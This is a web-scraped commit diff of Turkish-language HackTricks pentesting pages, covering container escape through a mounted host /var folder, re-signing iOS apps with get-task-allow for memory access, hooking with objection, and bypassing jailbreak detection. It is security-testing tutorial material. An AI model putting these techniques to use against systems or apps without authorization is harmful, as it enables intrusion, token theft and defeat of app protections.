||||
### `/var` Vulnerabilities
|
||||
### `/var` Zayıflıkları
|
||||
|
||||
Ana makinenin **/var** klasörü, konteyner çalışma soketlerini ve konteynerlerin dosya sistemlerini içerir. Bu klasör bir konteyner içinde monte edilirse, o konteyner diğer konteynerlerin dosya sistemlerine root ayrıcalıklarıyla okuma-yazma erişimi alır. Bu, konteynerler arasında geçiş yapmak, hizmet reddi oluşturmak veya içinde çalışan diğer konteynerlere ve uygulamalara arka kapı açmak için kötüye kullanılabilir.
|
||||
Ana makinenin **/var** klasörü, konteyner çalışma soketlerini ve konteynerlerin dosya sistemlerini içerir.
|
||||
Bu klasör bir konteyner içinde montelenirse, o konteyner diğer konteynerlerin dosya sistemlerine root ayrıcalıkları ile okuma-yazma erişimi alır.
|
||||
Bu, konteynerler arasında geçiş yapmak, hizmet reddi oluşturmak veya içinde çalışan diğer konteynerler ve uygulamalar için arka kapı açmak için kötüye kullanılabilir.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
@ -218,7 +232,7 @@ XSS şu şekilde gerçekleştirildi:
|
||||
|
||||

|
||||
|
||||
Konteynerin bir yeniden başlatmaya veya başka bir şeye ihtiyaç duymadığını unutmayın. Mounted **/var** klasörü aracılığıyla yapılan herhangi bir değişiklik anında uygulanacaktır.
|
||||
Konteynerin yeniden başlatılmasına veya başka bir şeye ihtiyaç duymadığını unutmayın. Mounted **/var** klasörü aracılığıyla yapılan herhangi bir değişiklik anında uygulanacaktır.
|
||||
|
||||
Ayrıca, otomatik (veya yarı otomatik) RCE elde etmek için yapılandırma dosyalarını, ikili dosyaları, hizmetleri, uygulama dosyalarını ve shell profillerini değiştirebilirsiniz.
|
||||
|
||||
@ -253,7 +267,7 @@ drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044
|
||||
```
|
||||
#### Not
|
||||
|
||||
Gerçek yollar farklı kurulumlarda farklılık gösterebilir, bu yüzden en iyi seçeneğiniz diğer konteynerlerin dosya sistemlerini ve SA / web kimlik belirteçlerini bulmak için **find** komutunu kullanmaktır.
|
||||
Gerçek yollar farklı kurulumlarda değişebilir, bu yüzden en iyi seçeneğiniz diğer konteynerlerin dosya sistemlerini ve SA / web kimlik belirteçlerini bulmak için **find** komutunu kullanmaktır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
|
@ -0,0 +1,73 @@
|
||||
# iOS Pentesting without Jailbreak
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ana fikir
|
||||
|
||||
**`get_task_allow`** yetkisi ile imzalanmış uygulamalar, üçüncü taraf uygulamaların **`task_for_pid()`** adlı bir fonksiyonu, başlangıç uygulamasının işlem kimliği ile argüman olarak çalıştırmasına izin verir; böylece üzerinde görev portunu elde edebilir (onu kontrol edebilir ve belleğine erişebilir).
|
||||
|
||||
Ancak, IPA'yı çekip, yetki ile yeniden imzalayıp cihazınıza geri yüklemek o kadar kolay değil. Bunun nedeni FairPlay korumasıdır. Uygulamanın imzası değiştiğinde, DRM (Dijital Haklar Yönetimi) anahtarı **geçersiz hale gelir ve uygulama çalışmaz**.
|
||||
|
||||
Eski bir jailbreak'li cihazda, IPA'yı yüklemek, **favori aracınızı kullanarak şifre çözmek** (örneğin Iridium veya frida-ios-dump gibi) ve cihazdan geri almak mümkündür. Ancak, mümkünse, şifrelenmemiş IPA için sadece istemciye sormak önerilir.
|
||||
|
||||
## Şifrelenmemiş IPA'yı elde etme
|
||||
|
||||
### Apple'dan alın
|
||||
|
||||
1. Pentest yapmak için uygulamayı iPhone'a yükleyin.
|
||||
2. macOS'unuzda [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) uygulamasını yükleyin ve başlatın.
|
||||
3. Mac'inizde `Terminal`i açın ve `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` dizinine gidin. IPA daha sonra bu klasörde görünecektir.
|
||||
4. iOS cihazınızı görmelisiniz. Üzerine çift tıklayın ve ardından üst menü çubuğundan Ekle + → Uygulamalar'a tıklayın.
|
||||
5. Ekle'ye tıkladıktan sonra, Configurator IPA'yı Apple'dan indirecek ve cihazınıza yüklemeye çalışacaktır. Daha önce önerimi takip ettiyseniz ve IPA'yı zaten yüklediyseniz, uygulamayı yeniden yüklemenizi isteyen bir istem belirecektir.
|
||||
6. IPA, `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` dizinine indirilmelidir; buradan alabilirsiniz.
|
||||
|
||||
Bu süreç hakkında daha ayrıntılı bilgi için [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) adresini kontrol edin.
|
||||
|
||||
### Uygulamayı şifre çözme
|
||||
|
||||
IPA'yı şifre çözmek için onu yükleyeceğiz. Ancak, eski bir jailbreak'li iPhone'unuz varsa, muhtemelen uygulama tarafından desteklenmeyecek bir sürümde olacaktır; çünkü genellikle uygulamalar yalnızca en son sürümleri destekler.
|
||||
|
||||
Bu nedenle, yüklemek için IPA'yı sadece çıkarın:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
`Info.plist` dosyasını minimum desteklenen sürüm için kontrol edin ve cihazınız bu sürümden daha eskiyse, değeri desteklenecek şekilde değiştirin.
|
||||
|
||||
IPA dosyasını zipleyin:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
Sonra, IPA'yı örneğin şu şekilde yükleyin:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Not edin ki, herhangi bir `invalid signature` hatasını önlemek için Cydia'dan **AppSync Unified tweak**'e ihtiyacınız olabilir.
|
||||
|
||||
Yüklendikten sonra, şifrelenmemiş IPA'yı elde etmek için Cydia'dan **Iridium tweak**'i kullanabilirsiniz.
|
||||
|
||||
|
||||
### Yetki yamanızı ve yeniden imzalama
|
||||
|
||||
`get-task-allow` yetkisi ile uygulamayı yeniden imzalamak için `app-signer`, `codesign` ve `iResign` gibi çeşitli araçlar mevcuttur. `app-signer`, yeniden imzalanacak IPA dosyasını belirtip, **`get-task-allow`** koyarak ve kullanılacak sertifika ve dağıtım profili ile çok kolay bir şekilde IPA dosyasını yeniden imzalamaya olanak tanıyan çok kullanıcı dostu bir arayüze sahiptir.
|
||||
|
||||
Sertifika ve imzalama profilleri ile ilgili olarak, Apple, Xcode aracılığıyla tüm hesaplar için **ücretsiz geliştirici imzalama profilleri** sunmaktadır. Sadece bir uygulama oluşturun ve bir tane yapılandırın. Ardından, `Ayarlar` → `Gizlilik ve Güvenlik` yolunu izleyerek **iPhone'un geliştirici uygulamalarını güvenilir hale getirmesini** sağlayın ve `Geliştirici Modu`na tıklayın.
|
||||
|
||||
|
||||
Yeniden imzalanmış IPA ile, cihazda pentest yapmak için yükleme zamanı:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
### Hook
|
||||
|
||||
Uygulamanızı frida ve objection gibi yaygın araçları kullanarak kolayca hooklayabilirsiniz:
|
||||
```bash
|
||||
objection -g [your app bundle ID] explore
|
||||
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -7,9 +7,9 @@
|
||||
Bir **provisioning identity**, bir Apple geliştirici hesabıyla ilişkili olan bir dizi genel ve özel anahtardır. **Uygulamaları imzalamak** için **99$/yıl** ödeyerek **Apple Geliştirici Programı**'na kaydolmanız gerekir. Bunu yapmadan, kaynak kodundan fiziksel bir cihazda uygulamaları çalıştıramazsınız. Bunu yapmanın bir diğer seçeneği ise **jailbroken bir cihaz** kullanmaktır.
|
||||
|
||||
Xcode 7.2 ile birlikte Apple, gerçek bir iPhone'da uygulamanızı yazmanıza ve test etmenize olanak tanıyan **ücretsiz bir iOS geliştirme provisioning profili** oluşturma seçeneği sunmuştur. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Kimlik bilgilerinizi ekleyin) --> _Oluşturduğunuz Apple ID'ye tıklayın_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
|
||||
\_\_Daha sonra, uygulamanızı iPhone'unuzda çalıştırmak için önce **iPhone'un bilgisayarı güvenilir olarak göstermesini sağlamanız gerekir.** Ardından, **Xcode'dan mobilde uygulamayı çalıştırmayı** deneyebilirsiniz, ancak bir hata görünecektir. Bu nedenle _Ayarlar_ --> _Genel_ --> _Profiller ve Cihaz Yönetimi_ --> Güvenilmeyen profili seçin ve "**Güven**"e tıklayın.
|
||||
\_\_Daha sonra, uygulamanızı iPhone'unuzda çalıştırmak için önce **iPhone'un bilgisayarı güvenilir olarak göstermesini sağlamalısınız.** Ardından, **Xcode'dan mobilde uygulamayı çalıştırmayı** deneyebilirsiniz, ancak bir hata görünecektir. Bu nedenle _Ayarlar_ --> _Genel_ --> _Profiller ve Cihaz Yönetimi_ --> Güvenilmeyen profili seçin ve "**Güven**"e tıklayın.
|
||||
|
||||
**Aynı imzalama sertifikasıyla imzalanmış uygulamaların güvenli bir şekilde kaynak paylaşabileceğini** unutmayın, örneğin anahtar zinciri öğeleri gibi.
|
||||
**Aynı imzalama sertifikasıyla imzalanmış uygulamaların güvenli bir şekilde kaynakları paylaşabileceğini** unutmayın, örneğin anahtar zinciri öğeleri gibi.
|
||||
|
||||
Provisioning profilleri telefonun içinde **`/Library/MobileDevice/ProvisioningProfiles`** dizininde saklanır.
|
||||
|
||||
@ -23,8 +23,8 @@ Provisioning profilleri telefonun içinde **`/Library/MobileDevice/ProvisioningP
|
||||
Bilmeniz gereken ilk şey, **simülatör içinde bir pentest gerçekleştirmenin, jailbreak yapılmış bir cihazda yapmaktan çok daha sınırlı olacağıdır**.
|
||||
|
||||
Bir iOS uygulaması oluşturmak ve desteklemek için gereken tüm araçlar **sadece resmi olarak Mac OS'ta desteklenmektedir**.\
|
||||
Apple'ın iOS uygulamalarını oluşturmak/ayarlarını yapmak/geliştirmek için kullanılan de facto aracı **Xcode**'dur. Uygulamanızı oluşturmak ve **test** etmek için gereken diğer bileşenleri, örneğin **simülatörler** ve farklı **SDK** **sürümlerini** indirmek için kullanılabilir.\
|
||||
Xcode'u **resmi uygulama mağazasından** **indirmek** şiddetle tavsiye edilir. Diğer sürümler kötü amaçlı yazılım içerebilir.
|
||||
Apple'ın iOS uygulamalarını oluşturmak/ayarlarını düzeltmek/ölçümlemek için kullanılan de facto aracı **Xcode**'dur. Uygulamanızı oluşturmak ve **test** etmek için gereken diğer bileşenleri, örneğin **simülatörler** ve farklı **SDK** **sürümlerini** indirmek için kullanılabilir.\
|
||||
**Xcode'u resmi uygulama mağazasından indirmek** şiddetle tavsiye edilir. Diğer sürümler kötü amaçlı yazılım içerebilir.
|
||||
|
||||
Simülatör dosyaları `/Users/<username>/Library/Developer/CoreSimulator/Devices` dizininde bulunabilir.
|
||||
|
||||
@ -37,50 +37,54 @@ Simülatörü açmak için Xcode'u çalıştırın, ardından _Xcode sekmesine_
|
||||
|
||||
### Simülatördeki Uygulamalar
|
||||
|
||||
`/Users/<username>/Library/Developer/CoreSimulator/Devices` içinde tüm **kurulu simülatörleri** bulabilirsiniz. Emülatörlerden birinin içinde oluşturulmuş bir uygulamanın dosyalarına erişmek istiyorsanız, **uygulamanın hangi emülatörde kurulu olduğunu bilmek zor olabilir**. Doğru UID'yi **bulmanın hızlı bir yolu**, simülatörde uygulamayı çalıştırmak ve şunu yürütmektir:
|
||||
`/Users/<username>/Library/Developer/CoreSimulator/Devices` içinde tüm **kurulu simülatörleri** bulabilirsiniz. Emülatörlerden birinin içinde oluşturulmuş bir uygulamanın dosyalarına erişmek istiyorsanız, **uygulamanın hangi emülatörde kurulu olduğunu bilmek zor olabilir**. Doğru UID'yi **bulmanın hızlı bir yolu**, simülatörde uygulamayı çalıştırmak ve şu komutu yürütmektir:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
```
|
||||
UID'yi öğrendikten sonra, içindeki yüklü uygulamalar `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` yolunda bulunabilir.
|
||||
Bir UID'yi bildiğinizde, içindeki yüklü uygulamaları `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` yolunda bulabilirsiniz.
|
||||
|
||||
Ancak, şaşırtıcı bir şekilde uygulamayı burada bulamayacaksınız. `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` yoluna erişmeniz gerekiyor.
|
||||
Ancak, şaşırtıcı bir şekilde burada uygulamayı bulamayacaksınız. `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` yoluna erişmeniz gerekiyor.
|
||||
|
||||
Ve bu klasörde **uygulamanın paketini bulabilirsiniz.**
|
||||
|
||||
## Emulator
|
||||
|
||||
Corellium, kamuya açık tek iOS emülatörüdür. Bu, kullanıcı başına lisans modeli ile bir kurumsal SaaS çözümüdür ve deneme lisansı sunmamaktadır.
|
||||
Corellium, kamuya açık tek iOS emülatörüdür. Kullanıcı başına lisans modeli ile bir kurumsal SaaS çözümüdür ve deneme lisansı sunmamaktadır.
|
||||
|
||||
## Jailbreak Gerekmez
|
||||
|
||||
**Jailbreak yapılmamış bir cihazda** bir iOS uygulamasını nasıl pentest edeceğinizi anlatan bu blog yazısını kontrol edin: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
**Jailbreak yapılmamış bir cihazda** bir iOS uygulamasını nasıl pentest edeceğinizi anlatan bu blog yazısını kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
ios-pentesting-without-jailbreak.md
|
||||
{{#endref}}
|
||||
|
||||
## Jailbreaking
|
||||
|
||||
Apple, iPhone'da çalışan kodun **Apple tarafından verilen bir sertifika ile imzalanmasını** kesinlikle gerektirir. **Jailbreaking**, bu tür kısıtlamaları ve işletim sistemi tarafından konulan diğer güvenlik kontrollerini **aşma** sürecidir. Bu nedenle, cihaz jailbreak yapıldığında, uygulamaların yüklenmesini kontrol eden **bütünlük kontrolü** yamanır, böylece **bypass edilir**.
|
||||
Apple, iPhone'da çalışan kodun **Apple tarafından verilen bir sertifika ile imzalanmasını** kesinlikle gerektirir. **Jailbreaking**, bu tür kısıtlamaları ve işletim sistemi tarafından konulan diğer güvenlik kontrollerini **aşma** sürecidir. Bu nedenle, cihaz jailbreak yapıldığında, uygulamaların yüklenmesini kontrol eden **bütünlük kontrolü** yamanır ve **bypass edilir**.
|
||||
|
||||
> [!NOTE]
|
||||
> Android'in aksine, iOS'ta **imzasız/güvenilmeyen kodu çalıştırmak için "Geliştirici Modu"na geçemezsiniz.**
|
||||
|
||||
### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
Sıklıkla karşılaştırılsa da, Android'de **rooting** ve iOS'ta **jailbreaking** temelde farklı süreçlerdir. Android cihazlarda **`su` ikili dosyasını yüklemek** veya **sistemi köklü bir özel ROM ile değiştirmek** gibi işlemler, bootloader kilidi açıldığında mutlaka istismar gerektirmeyebilir. **Özel ROM'ların yüklenmesi**, bootloader kilidi açıldıktan sonra cihazın işletim sistemini değiştirir ve bazen bir istismar gerektirebilir.
|
||||
Sıklıkla karşılaştırılsa da, Android'de **rooting** ve iOS'ta **jailbreaking** temelde farklı süreçlerdir. Android cihazlarda **`su` ikili dosyasını yüklemek** veya **sistemi köklü bir özel ROM ile değiştirmek** gibi işlemler, bootloader kilidi açıldığında mutlaka istismar gerektirmeyebilir. **Özel ROM'ları flaşlamak**, bootloader kilidi açıldıktan sonra cihazın işletim sistemini değiştirir ve bazen bir istismar gerektirebilir.
|
||||
|
||||
Buna karşılık, iOS cihazları, bootloader'ın yalnızca Apple imzalı görüntüleri başlatmasına izin vermesi nedeniyle özel ROM'ları yükleyemez. **iOS'u jailbreak yapmak**, imzasız kod çalıştırmak için Apple'ın kod imzalama korumalarını aşmayı hedefler; bu süreç, Apple'ın sürekli güvenlik iyileştirmeleri ile karmaşıklaşır.
|
||||
Buna karşılık, iOS cihazları, bootloader'ın yalnızca Apple imzalı görüntüleri başlatma kısıtlaması nedeniyle özel ROM'ları flaşlayamaz. **iOS'u jailbreak yapmak**, imzasız kod çalıştırmak için Apple'ın kod imzalama korumalarını aşmayı hedefler; bu süreç, Apple'ın sürekli güvenlik iyileştirmeleriyle karmaşıklaşır.
|
||||
|
||||
### Jailbreaking Zorlukları
|
||||
|
||||
iOS'u jailbreak yapmak, Apple'ın güvenlik açıklarını hızla yamalaması nedeniyle giderek zorlaşmaktadır. **iOS'u düşürmek**, bir sürümden sonra sınırlı bir süre için mümkündür, bu da jailbreak yapmayı zaman açısından hassas bir mesele haline getirir. Güvenlik testi için kullanılan cihazlar, yeniden jailbreak yapılması garanti edilmedikçe güncellenmemelidir.
|
||||
iOS'u jailbreak yapmak, Apple'ın güvenlik açıklarını hızla yamalaması nedeniyle giderek zorlaşmaktadır. **iOS'u düşürmek**, bir sürümden sonra sınırlı bir süre için mümkündür ve bu nedenle jailbreak yapmak zaman açısından hassas bir meseledir. Güvenlik testi için kullanılan cihazlar, yeniden jailbreak yapılması garanti edilmedikçe güncellenmemelidir.
|
||||
|
||||
iOS güncellemeleri, yalnızca Apple imzalı yanıtlar için yüklemeye izin veren bir **challenge-response mekanizması** (SHSH blobları) ile kontrol edilir. Bu mekanizma, "imzalama penceresi" olarak bilinir ve OTA firmware paketlerini depolama ve daha sonra kullanma yeteneğini sınırlar. [IPSW Downloads web sitesi](https://ipsw.me), mevcut imzalama pencerelerini kontrol etmek için bir kaynaktır.
|
||||
iOS güncellemeleri, yalnızca Apple imzalı yanıtlar için yüklemeye izin veren bir **challenge-response mekanizması** (SHSH blobs) ile kontrol edilir. "İmzalama penceresi" olarak bilinen bu mekanizma, OTA firmware paketlerini depolama ve daha sonra kullanma yeteneğini sınırlar. [IPSW Downloads web sitesi](https://ipsw.me), mevcut imzalama pencerelerini kontrol etmek için bir kaynaktır.
|
||||
|
||||
### Jailbreak Çeşitleri
|
||||
|
||||
- **Tethered jailbreak** her yeniden başlatma için bir bilgisayar bağlantısı gerektirir.
|
||||
- **Tethered jailbreak** her yeniden başlatmada bir bilgisayar bağlantısı gerektirir.
|
||||
- **Semi-tethered jailbreak** bilgisayar olmadan jailbreak yapılmamış moda geçişe izin verir.
|
||||
- **Semi-untethered jailbreak** bilgisayar gerektirmeden manuel yeniden jailbreak yapmayı gerektirir.
|
||||
- **Untethered jailbreak** yeniden uygulama gerektirmeden kalıcı bir jailbreak çözümü sunar.
|
||||
- **Untethered jailbreak** yeniden uygulama gerektirmeyen kalıcı bir jailbreak çözümü sunar.
|
||||
|
||||
### Jailbreaking Araçları ve Kaynakları
|
||||
|
||||
@ -94,7 +98,7 @@ Cihazınızı değiştirmek risk taşır ve jailbreak yaparken dikkatli olunmal
|
||||
|
||||
### Jailbreaking Faydaları ve Riskleri
|
||||
|
||||
Jailbreaking, **OS tarafından dayatılan sandbox'ı kaldırır**, uygulamaların tüm dosya sistemine erişmesine izin verir. Bu özgürlük, onaylanmamış uygulamaların yüklenmesini ve daha fazla API'ye erişimi sağlar. Ancak, normal kullanıcılar için jailbreak yapmak **tavsiye edilmez** çünkü potansiyel güvenlik riskleri ve cihaz kararsızlığı vardır.
|
||||
Jailbreaking, **OS tarafından dayatılan sandboxing'i kaldırır**, uygulamaların tüm dosya sistemine erişmesine izin verir. Bu özgürlük, onaylanmamış uygulamaların yüklenmesini ve daha fazla API'ye erişimi sağlar. Ancak, normal kullanıcılar için jailbreak yapmak **tavsiye edilmez** çünkü potansiyel güvenlik riskleri ve cihaz kararsızlığı vardır.
|
||||
|
||||
### **Jailbreaking Sonrası**
|
||||
|
||||
@ -104,15 +108,15 @@ basic-ios-testing-operations.md
|
||||
|
||||
### **Jailbreak Tespiti**
|
||||
|
||||
**Birçok uygulama, mobilin jailbreak yapılıp yapılmadığını tespit etmeye çalışacak ve bu durumda uygulama çalışmayacaktır.**
|
||||
**Birçok uygulama, mobil cihazın jailbreak yapılıp yapılmadığını tespit etmeye çalışacak ve bu durumda uygulama çalışmayacaktır.**
|
||||
|
||||
- Jailbreak yapıldıktan sonra iOS'ta **dosyalar ve klasörler genellikle yüklenir**, bunlar cihazın jailbreak yapılıp yapılmadığını belirlemek için aranabilir.
|
||||
- Jailbreak yapıldıktan sonra iOS'ta **dosyalar ve klasörler genellikle yüklenir**, bu dosyalar cihazın jailbreak yapılıp yapılmadığını belirlemek için aranabilir.
|
||||
- Jailbreak yapılmış bir cihazda uygulamalar, sandbox dışındaki yeni dosyalara **okuma/yazma erişimi** alır.
|
||||
- Bazı **API** **çağrıları** **farklı davranacaktır.**
|
||||
- **OpenSSH** hizmetinin varlığı.
|
||||
- `/bin/sh` çağrısı **0 yerine 1** döndürecektir.
|
||||
|
||||
**Jailbreaking'i tespit etme hakkında daha fazla bilgi** [**burada**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
**Jailbreaking'i tespit etme yöntemleri hakkında daha fazla bilgi** [**burada**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
|
||||
Bu tespitlerden kaçınmayı deneyebilirsiniz **objection'ın** `ios jailbreak disable` komutunu kullanarak.
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user